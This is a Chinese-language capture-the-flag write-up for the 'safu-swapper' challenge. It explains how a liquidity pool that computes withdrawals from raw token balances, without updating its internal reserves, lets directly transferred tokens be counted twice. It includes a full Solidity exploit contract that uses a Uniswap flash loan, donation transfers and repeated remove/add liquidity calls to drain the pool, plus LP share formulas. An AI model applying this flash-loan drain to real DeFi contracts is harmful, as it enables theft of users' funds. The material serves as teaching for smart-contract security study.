CTF-safu-swapper

题目源代码:点击

题目要求:还是获得pool池的全部代币

这题合约,有俩个,一个主要实现计算,一个主要实现流动性池,
首先主要就是看合约流动性提供者,怎样改变流动性,是否有漏洞,果然被发现在移除流动性,发现使用的是 uint amount = IERC20(token).balanceOf(pool); return (amount.mul(units)).div(totalSupply); 而我们在Safupool合约中,并没有发现能改变 baseAmounttokenAmount,换句话来说,就是在我们以transfer转入代币时合约不会更新baseAmounttokenAmount,实际上合约是通过 uint amount = IERC20(token).balanceOf(pool);来计算份额,pool会认为已经收到了转账。
而增加流动性是:

function addLiquidity(uint256 _baseAmount, uint256 _tokenAmount) public returns (uint liquidityUnits) {
IERC20(BASE).transferFrom(msg.sender,address(this),_baseAmount);
IERC20(TOKEN).transferFrom(msg.sender,address(this),_tokenAmount);
liquidityUnits = addLiquidityForMember(msg.sender);
}

移除流动性:

function removeAllLiquidity() public returns (uint outputBase, uint outputToken) {
transfer(address(this),balanceOf(msg.sender)); // transfer all LP units for withdrawing liq
return removeLiquidityForMember(msg.sender);
}

举个例子:
假设pooL中有俩个代币,usdc,token;

  • usdc :1000
  • token :1000
  • 你的lp ;100
    然后你向这个pool中转入代币增加流动性,
    理想上是这样的:
  • usdc :1100
  • token :1100
  • 你的lp :110
    但是由于baseamount,tokenamount,并没有更新
    所以pool虽然增加了,但是内部状态并没有更新,实际上是这样的:
  • usdc:1100
  • token:1100
  • 你的lp :100
    然后在移除流动性的时候,它是计算的是实际的,移除流动性时,是按照usdc=1100,token=1100来计算的,然后我们就能获得更多的代币,如果我们重新增添流动性,由于合约中未更新状态,所以刚刚转的100代币,会误以为给攻击者增加lp代币,然后攻击者就再次利用这个lp获得更多的代币。通用名词,双重计算。

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";


interface IUniswapV2Pair {
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
}

interface ISafuPool {
function addLiquidity(uint256 _baseAmount, uint256 _tokenAmount) external returns (uint);
function swap(address toToken, uint256 amount) external returns (uint);
function removeAllLiquidity() external returns (uint, uint);
function approve(address, uint256) external returns (bool);
}

/// @dev Exploiter contract for SafuPool
contract SwapperExploiter {

IUniswapV2Pair pair;
ISafuPool safuPool;
IERC20 usdc;
IERC20 safu;

/// @dev Runs exploit, flashloan borrows Uniswap USDC liq
function runExploit(
address _uniswapPair, // DAI-USDC pair
address _safuPool,
address _usdc,
address _safu,
uint256 amount // flashloan amount required
) external {
pair = IUniswapV2Pair(_uniswapPair);
safuPool = ISafuPool(_safuPool);
usdc = IERC20(_usdc);
safu = IERC20(_safu);

usdc.approve(address(safuPool),type(uint256).max);
safu.approve(address(safuPool),type(uint256).max);

pair.swap(amount,0,address(this),bytes('not empty'));
}

/// @dev Uniswap flashloan callback
/// @dev Swaps done in batches b/c extra fees for large swaps
function uniswapV2Call(
address _sender,
uint256 _amount0, // usdc
uint256 _amount1,
bytes calldata _data
) external {
require(msg.sender == address(pair), 'callback');

for (uint i=0; i<5; ++i) {
safuPool.swap(address(safu),8_000*1e18); // get some SAFU tokens
}

uint256 safuAmount = safu.balanceOf(address(this));
safuPool.addLiquidity(safuAmount, safuAmount); // add equal parts tokens for liq

for (uint i=0; i<5; ++i) {
safuPool.swap(address(safu),8_000*1e18); // get more SAFU tokens
}

safuAmount = safu.balanceOf(address(this));
safu.transfer(address(safuPool),safuAmount); // transfer all SAFU
usdc.transfer(address(safuPool),600_000*1e18); // transfer large amount of USDC

safuPool.removeAllLiquidity(); // effectively double counts the transfers done earlier
safuPool.addLiquidity(0,0); // get LP which is the double counted
safuPool.removeAllLiquidity(); // get base funds for the double counted LP

uint256 amountPerRound = safu.balanceOf(address(this)) / 10;

for (uint i=0; i<10; ++i) {
safuPool.swap(address(usdc), amountPerRound); // dump remaining SAFU for USDC
}

uint256 loanPlusInterest = (_amount0*(10**18)*1000/997/(10**18))+1; // exact amount owed
usdc.transfer(msg.sender,loanPlusInterest); // pay back flashloan
usdc.transfer(tx.origin,usdc.balanceOf(address(this))); // lazy
}

}

补充:流动池的LP计算

流动性池的 LP 代币计算
流动性池的总资产:

假设流动性池中有 baseAmount(例如 SAFU)和 tokenAmount(例如 USDC)。
在正常情况下,LP 代币的铸造与流动性池的资产状态是直接关联的。
添加流动性时的 LP 代币计算:

当用户向池中添加流动性时,会计算应铸造的 LP 代币数量,公式通常是:
新 LP 代币数量=存入资产/总资产×现有 LP 代币总数

这确保了流动性池的每个流动性提供者都根据他们的贡献获得相应比例的 LP 代币。
移除流动性时的 LP 代币计算:
当调用 removeAllLiquidity() 时,合约会根据持有的 LP 代币数量来计算用户可以提取的基础资产:
提取的 SAFU=用户持有的 LP 代币/总 LP 代币×当前 SAFU 总量
提取的 USDC= 用户持有的 LP 代币/总 LP 代币×当前 USDC 总量